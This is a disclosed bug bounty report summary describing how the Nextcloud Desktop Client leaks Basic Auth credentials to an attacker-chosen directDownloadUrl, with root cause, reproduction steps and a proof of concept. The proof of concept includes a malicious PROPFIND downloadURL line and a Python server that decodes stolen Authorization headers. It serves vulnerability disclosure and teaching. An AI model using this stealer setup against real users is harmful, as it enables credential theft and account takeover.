# Credential Disclosure via Unvalidated directDownloadUrl (Missing DontAddCredentialsAttribute)

Nextcloud Desktop Client auto-injects Basic Auth credentials into downloads from server-supplied directDownloadUrl without origin validation, leaking plaintext credentials to attacker-controlled hosts.

- Payout: $250
- Severity: medium
- Program: Nextcloud
- Found by: py0zz1
- Disclosed: 2026-04-13
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/3400143
- Library page: https://bugbountylibrary.com/r/h1%3A3400143
- Tags: area:os domain:desktop impact:ato impact:data-leak kind:bounty platform:hackerone sev:medium tech:rest technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** Nextcloud Desktop Client directDownloadUrl download path (propagatedownload.cpp / httpcredentials.cpp)
**Root cause:** GETFileJob for directDownloadUrl is created with the account object and never sets HttpCredentials::DontAddCredentialsAttribute, so HttpCredentialsAccessManager injects the Basic Authorization header regardless of the URL's origin.
**Steps:**
1. Run a credential-stealer HTTP server on :9911 logging Authorization headers.
2. Run a fake Nextcloud server on :8811 that answers status.php, OCS capabilities/user, login flow v2, and PROPFIND returning a file with `<oc:downloadURL>http://localhost:9911/steal</oc:downloadURL>`.
3. Add account in Desktop Client pointing to http://localhost:8811, complete login flow with real credentials.
4. Client syncs, fetches directDownloadUrl, and sends `Authorization: Basic <base64(user:pass)>` to :9911.
5. Stealer server logs plaintext credentials.
**How found:** Code review of propagatedownload.cpp: noticed GETFileJob is constructed with propagator()->account() for a server-supplied URL and no DontAddCredentialsAttribute is set, then traced httpcredentials.cpp createRequest to confirm unconditional Authorization injection.
**Exploitation:** A malicious or compromised Nextcloud server (or MITM) returns a PROPFIND response whose file entry carries an attacker-controlled oc:downloadURL. The desktop client, on sync, issues a GET to that URL with the account's Basic Auth header attached, delivering plaintext username:password to the attacker, enabling full account takeover.
**Insight:** When a client trusts server-supplied URLs (downloadURL, redirect targets, CDN endpoints), check whether the HTTP credential manager injects auth by default and whether the code path sets the opt-out attribute; the presence of a separate directDownloadCookies field hints external URLs were meant to use different auth.

## Proof of concept (copied exactly from the original report)

**Malicious PROPFIND response with attacker directDownloadUrl**

```
<oc:downloadURL>http://localhost:9911/steal</oc:downloadURL>
```

**Credential stealer server capturing Authorization header**

```
class CredStealer(BaseHTTPRequestHandler):
    def do_GET(self):
        auth = self.headers.get('Authorization', '')
        
        if auth.startswith('Basic '):
            decoded = base64.b64decode(auth[6:]).decode('utf-8')
            print(f"[SUCCESS] Stolen User Credentials: {decoded}")
            print(f"   (Raw: {auth})")
        else:
            print(f"  Authorization Header: {auth}")
        
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')
```

